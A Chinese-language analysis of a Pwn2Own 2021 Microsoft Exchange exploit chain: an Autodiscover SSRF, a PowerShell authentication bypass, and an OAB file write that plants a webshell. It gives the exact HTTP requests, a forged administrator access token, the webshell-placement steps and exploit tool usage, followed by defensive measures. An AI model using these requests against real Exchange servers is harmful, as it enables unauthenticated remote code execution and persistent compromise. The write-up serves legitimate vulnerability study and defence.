Microsoft Exchange 漏洞利用链分析(Pwn2Own 2021)
漏洞概述
本漏洞利用链允许远程攻击者在未授权的情况下,通过三个关键漏洞的组合在Microsoft Exchange Server上实现远程代码执行(RCE)。这三个漏洞分别是:
- Autodiscover前端服务中的SSRF漏洞:允许未经身份验证的远程攻击者以LocalSystem权限向后端服务发送任意命令
- Powershell后端服务中的身份验证绕过漏洞:允许攻击者以管理员权限运行任意Exchange cmdlet
- OAB后端服务中的任意文件写入漏洞:允许攻击者在OAB文件夹上写入webshell
前两个漏洞被称为ProxyShell漏洞,与Orange Tsai发现的漏洞重复。第三个漏洞是独特的,涉及Microsoft Exchange数据库(MDB)和OAB协议的内部知识。
漏洞利用链详解
漏洞一:Autodiscover前端服务SSRF
漏洞原理
Exchange邮箱服务器上的客户端访问服务负责接受所有客户端连接,并将这些连接代理到目标邮箱服务器上的后端服务。Autodiscover前端服务中的SSRF漏洞允许攻击者构造特殊请求,绕过正常代理路径检查。
利用方法
- 构造特殊请求,利用
SecurityToken1参数和emailcookie控制代理路径:
POST /Autodiscover/autodiscover.json?SecurityToken1=rskvp93@gmail.com/ews/exchange.asmx HTTP/1.1
Host: exchange16.domaincorp.com
Cookie: email=Autodiscover/autodiscover.json?SecurityToken1=rskvp93@gmail.com
...
-
前端服务会移除
Autodiscover/autodiscover.json?SecurityToken1=rskvp93@gmail.com部分,最终将请求代理到/ews/exchange.asmx -
代理请求使用LocalSystem帐户(计算机帐户)进行身份验证
关键利用步骤
- 获取用户邮箱的UserDN(旧版DN):
POST /Autodiscover/autodiscover.json?SecurityToken1=rskvp93@gmail.com/Autodiscover/Autodiscover.svc HTTP/1.1
...
<soap:Body>
<a:GetUserSettingsRequestMessage xmlns:a="http://schemas.microsoft.com/exchange/2010/Autodiscover">
<a:Request>
<a:Users>
<a:User>
<a:Mailbox>SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com</a:Mailbox>
</a:User>
</a:Users>
<a:RequestedSettings>
<a:Setting>UserDN</a:Setting>
</a:RequestedSettings>
</a:Request>
</a:GetUserSettingsRequestMessage>
</soap:Body>
- 从UserDN获取用户的SID:
POST /Autodiscover/autodiscover.json?SecurityToken1=rskvp93@gmail.com/mapi/emsmdb HTTP/1.1
...
X-User-Identity: SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com
...
/o=domain corp/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=6b9c2aa9d1804deea9b54779f8d4d0ec-SystemMailbo...
漏洞二:Powershell后端服务身份验证绕过
漏洞原理
Powershell后端服务有一个IIS模块,允许将X-Rps-CAT查询字符串转换为X-CommonAccessToken标头,从而绕过正常的身份验证检查。
利用方法
- 构造包含伪造的
X-Rps-CAT查询字符串的请求:
POST /Autodiscover/autodiscover.json?SecurityToken1=rskvp93@gmail.com/powershell?serializationLevel=Full;ExchClientVer=15.1.2044.4;clientApplication=ManagementShell;TargetServer=;PSVersion=5.1.14393.3053&X-Rps-CAT=VgEAVAdXaW5kb3dzQwBBCEtlcmJlcm9zTBhET01BSU5BQkNEXGFkbWluaXN0cmF0b3JVLVMtMS01LTIxLTM0NTI0Mzk5ODctMzg5OTQ1OTY3Ni00MDQ4ODk2MjcwLTUwMEcKAAAABwAAAC1TLTEtNS0yMS0zNDUyNDM5OTg3LTM4OTk0NTk2NzYtNDA0ODg5NjI3MC01MTMHAAAAB1MtMS0xLTAHAAAAB1MtMS01LTIHAAAACFMtMS01LTExBwAAAAhTLTEtNS0xNQcAAAAtUy0xLTUtMjEtMzQ1MjQzOTk4Ny0zODk5NDU5Njc2LTQwNDg4OTYyNzAtNTIwBwAAAC1TLTEtNS0yMS0zNDUyNDM5OTg3LTM4OTk0NTk2NzYtNDA0ODg5NjI3MC01MTIHAAAALVMtMS01LTIxLTM0NTI0Mzk5ODctMzg5OTQ1OTY3Ni00MDQ4ODk2MjcwLTUxOAcAAAAtUy0xLTUtMjEtMzQ1MjQzOTk4Ny0zODk5NDU5Njc2LTQwNDg4OTYyNzAtNTE5BwAAAAhTLTEtMTgtMUUAAAAA HTTP/1.1
...
- 反转CommonAccessToken格式,构造管理员帐户的令牌,包含域组如域管理员、模式管理员等
漏洞三:OAB后端服务任意文件写入
背景知识
脱机通讯簿(OAB)是地址列表集合的本地副本,保存在:
- 文件系统:
C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\OAB\<oab_guid> - 系统邮箱
SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com的OAB文件夹中
漏洞原理
OABGeneratorProcess在下载OAB文件并保存到文件系统时,不检查文件名是否为恶意扩展名(如.aspx、.ashx),导致可以写入webshell。
利用步骤
- 使用Powershell身份验证绕过漏洞创建新的OAB,获取oab_guid:
New-OfflineAddressbook -Name test1 -AddressLists "Default Global Address List"
-
使用SSRF向
/ews/exchange.asmx发送请求,在SystemMailbox的OAB文件夹中创建主题为<oab_guid>的新项目IPM.FileSet -
在该项目中附加两个文件:
oab.xml和webshell文件(如rskvp93.ashx) -
访问
/oab/<oab_guid>/oab.xml触发OABGeneratorProcess -
OABGeneratorProcess将下载附件并保存到文件系统
-
通过
/oab/<oab_guid>/rskvp93.ashx访问webshell
漏洞利用工具
漏洞利用使用Python 2.7开发,需要安装requests模块:
pip install requests
执行命令:
python exploit.py <url> <domain_part> <command>
参数说明:
url: 目标URL,如https://ex19.exchangelab.localdomain_part: 电子邮件地址的域名部分,如test@exchangelab.local中的exchangelab.localcommand: 在服务器上运行的cmd命令,如whoami,dir
示例:
python exploit.py https://ex19.exchangelab.local exchangelab.local "whoami /all"
防御措施
- 及时安装Microsoft发布的安全补丁
- 限制对Exchange服务器Autodiscover端点的外部访问
- 监控异常Powershell活动
- 实施严格的文件写入权限控制,特别是OAB目录
- 定期审计系统邮箱的访问和修改
总结
这个漏洞利用链展示了如何通过组合多个漏洞实现从SSRF到RCE的完整攻击路径。攻击者首先利用SSRF获取系统信息,然后绕过身份验证获取管理员权限,最后通过OAB服务写入webshell。防御此类攻击需要多层次的安全措施和对Exchange服务器内部机制的深入理解。